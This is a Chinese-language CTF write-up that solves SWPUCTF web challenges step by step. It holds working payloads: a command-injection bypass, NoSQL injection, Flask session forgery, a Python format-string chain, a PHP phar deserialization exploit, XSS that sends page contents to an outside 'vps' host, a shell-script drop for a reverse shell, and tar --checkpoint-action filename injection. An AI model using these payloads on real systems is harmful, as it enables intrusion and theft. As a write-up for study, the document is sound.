从大二开始就每年都打SWPU,一直认为web题目质量很不错,今年终于圆前俩年的遗憾,ak了一次web,以下是详细记录
随手尝试www.zip
发现文件泄露
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>
然后发现题目注册用户登录后,会得到一个优惠码
然而在使用的时候会提示
这就很难受了,明明是15位的优惠码,告诉我要24位的,这里就想到了随机数预测
不难发现,虽然我们没有种子,但是我们能得到15个生成的随机数
于是使用工具
http://www.openwall.com/php_mt_seed/
进行恢复,按照这个思路写出脚本,并按照工具的Input格式进行处理
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='SUjJQvy1e2NyihU'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
if i<=length/2:
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
else:
for j in range(len(str3)):
if str2[i] == str1[j]:
res+=str(len(str1)-j)+' '+str(len(str1)-j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print res
运行得到结果
我们即可得到满足条件的seed:
seed = 0x016bbc5d = 23837789 (PHP 7.1.0+)
下面容易想到,将题目中的len=15
改成len=24
,生成优惠码,即可购买成功
购买成功后,跳转到RCE的界面,阅读过滤
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
发现必须使用ip的格式,这里使用换行符%0a
即可轻松绕过
然后是关键词过滤,发现通配符?
以及*
都被过滤
这里想到bypass技巧
c\at /fl\ag
即可拿到flag
题目提示了
查看下去,发现
猜测题目应该使用了MongoDB
尝试测试一下
password[$ne]=\
而一般情况下为
那么应该可以判断为NoSQL注入
那么进行盲注:
吐槽一下,由于有验证码,而我又不会验证码识别。。。于是只能手动测试:(
(后来发现python3有库可以识别= =后知后觉)
最后得到密码
username = admin
password = skmun
登录后即可得到flag
拿到题目F12发现关键信息
<script src="/static?file=test.js"></script>
<!-- /source -->
首先确定:
1.存在文件包含
2.有泄露
于是进行查看
view-source:http://107.167.188.241/source
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
return abort(404)
filename = os.path.join('app/static', filename)
那么思路应该是利用文件包含进行文件读取了
但是不能进行目录穿越,于是得先知道绝对路径,这里想到之前HCTF的方法:
http://107.167.188.241/static?file=/proc/self/environ
发现500了,应该是没有权限,换个思路
http://107.167.188.241/static?file=/proc/self/maps
发现了python路径,但是看到内容
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
return abort(404)
我们没有办法使用这个绝对路径,尝试了一下bypass,例如
/home/ctf/web_assli3fasdf/././././app
发现也不行,出题人说用了abspath
看来只能想想有没有其他途径读取文件,这里想到如下方法
我们知道
/proc/[pid]/cwd是进程当前工作目录的符号链接
既然之前的路径无法用,那么我们可以考虑从proc进行读取,如下:
http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py
http://107.167.188.241/static?file=/proc/self/cwd/app/views.py
这也我们以后进行文件读取,拓宽了一些思路,并且只发现了只有以下文件可以读到,应该是出题人做了限制
得到文件内容
init.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app
views.py
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
首先从views.py开始审计,发现需要u.balance > 1000000
,并且我们又拥有secret_key
不难想到进行session构造
python3 session_cookie_manager.py encode -s '9f516783b42730b7888008dd5c15fe66' -t "{u'count': 1000000000, u'username': u'admin', u'csrf_token': u'559da19dcf76705bb469aaa42e951440ff338728', u'balance': 1000000000.0}"
得到伪造session
.eJxNzTkKgDAURdG9vDpIohmMm5GfCUT9gkMl7t00grc8zb0RaCGOGYOSX40UiNvF5x8rHXsZz23OjAHG-ETKp1icddKEoK0nIt1mb5TWspSu613bQ-A68s601gUorRPjeQGJBCFC.XBd6uw.iqU7NNEiz04SQrIwPwcxbgjplPA
然后就是最后的问题,怎么获取flag,我们看到关键函数
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
联想到题目提示python3.5以及format,不难想到是格式化字符串的漏洞
那么剩下的应该是构造python继承链去读取g.flag
这里看到,我们的可控点是拼接在g.u后面的,所以我们需要上跳
而这里需要先知道g是什么:
很明显,如果我们需要读取g的值,我们需要一直上跳到app
而目前我们处于
很显然,结合__init_.py
,我们应该先跳到db,再跳到app
这里题目提示我们
于是我们尝试这个类中的save方法
可以发现db,于是我们继续上跳
发现存在current_app
紧接着受到源码的启发
我们可以继续调用方法
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__
不难发现找到了g,我们查看flag
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
得到flag:swpuctf{tHl$_15_4_f14G}
看了一下文件的功能:
读文件
http://120.79.158.180:11115/file.php?file=
上传文件
http://120.79.158.180:11115/upload_file.php
于是尝试Leak一下源码
http://120.79.158.180:11115/file.php?file=file.php
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
看到
$show = new Show();
if(file_exists($file))
本能的想到了phar,于是去读class.php
http://120.79.158.180:11115/file.php?file=class.php
class.php
?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
分析一下这个pop链
首先是show()
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
发现过滤了f1ag
,那么利用点肯定不是它了,接着读到Test类,发现
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
于是将目光锁定在Test类,那么开始想构造链
发现
public function __get($key)
{
return $this->get($key);
}
不难知道,这个方法要在调用属性的时候才会被触发
又看回Show类,发现
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
这里调用了source属性,只要将str['str']
赋值为Test类即可
那么怎么触发__toString
呢?
不难知道这个函数要在输出对象的时候才会被触发
看到C1e4r类
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
发现这里会进行对象输出,那么整个pop链就清晰了
1.利用C1e4r类的__destruct()
中的echo $this->test
2.触发Show类的__toString()
3.利用Show类的$content = $this->str['str']->source
4.触发Test类的__get()
5.成功利用file_get()
读文件
思路清晰了,剩下的就是exp编写了
<?php
$a = new Test();
$a->params = array("source"=>'/var/www/html/f1ag.php');
$b = new Show('index.php');
$b->str['str'] = $a;
$c= new C1e4r($b);
echo serialize($c);
$obj = unserialize('O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}');
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.php', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
rename('skyfuck.phar', 'skyfuck.gif')
上传skyfuck.gif
然后根据
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
计算出路径
4b8e34dafe69a6a5ec8ba799e46e8e92.jpg
触发反序列化
http://120.79.158.180:11115/file.php?file=phar://upload/4b8e34dafe69a6a5ec8ba799e46e8e92.jpg
解码
即可得到flag
拿到题目发现2个功能
1.管理员页面
http://118.89.56.208:6324/admin/admin.php
2.邮箱申请
http://118.89.56.208:6324/check.php
然后发现访问管理员页面:
only localhost allowed!
那么思路比较明显了,需要用邮箱申请XSS去本地访问管理员页面,同时抓取页面内容
在check.php页面源代码发现代码
<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>
-->
随机想bypass
filter_var($email,FILTER_VALIDATE_EMAIL)
不难发现只要使用了引号包裹就可以进行xss
"<script/src=//vps_ip/payload.js></script>"@example.com
随机构造读源码脚本
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();
解码后得到
<br /><a href="admin/a0a.php?cmd=whoami">
发现存在rce
本能想到进行反弹shell,这样比较利于后续操作,于是改写脚本为
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET",'http://localhost:6324/admin/a0a.php?cmd=echo%20"xxxxxxxxxxxxx"%20|%20base64%20-d%20>%20/tmp/sky.sh',true);
xmlhttp.send();
向/tmp写入一个sky.sh
然后
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET",'http://localhost:6324/admin/a0a.php?cmd=/bin/bash%20/tmp/sky.sh',true);
xmlhttp.send();
在根目录发现flag,但是不可读
进一步寻找信息,在/var/www/html
下发现
发现还有一个目录,于是进行查看
发现果然还有题目
然后查看代码
backup.php
<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
echo "上传目录下的所有文件备份成功!<br />";
echo "备份文件名: z.tar.gz";
}else{
echo "未上传文件,无法备份!";
}
?>
后面想到的只能是提权了,看代码好像毫无什么明显问题
随后搜到这样一篇文章
https://blog.csdn.net/qq_27446553/article/details/80943097
文章中,利用root的定时备份,成功反弹了root的shell,那么同理
这里我们的题目用flag用户进行备份,我们只要按照他的步骤,即可让flag用户帮我们执行sky.sh
于是利用上传,进行3个文件上传,文件名分别为
sky.sh
--checkpoint-action=exec=sh sky.sh
--checkpoint=1
sky.sh的内容为
cat /flag | base64
然后全部上传完毕,进行备份
即可得到flag:swpuctf{xss_!_tar_exec_instr3st1ng}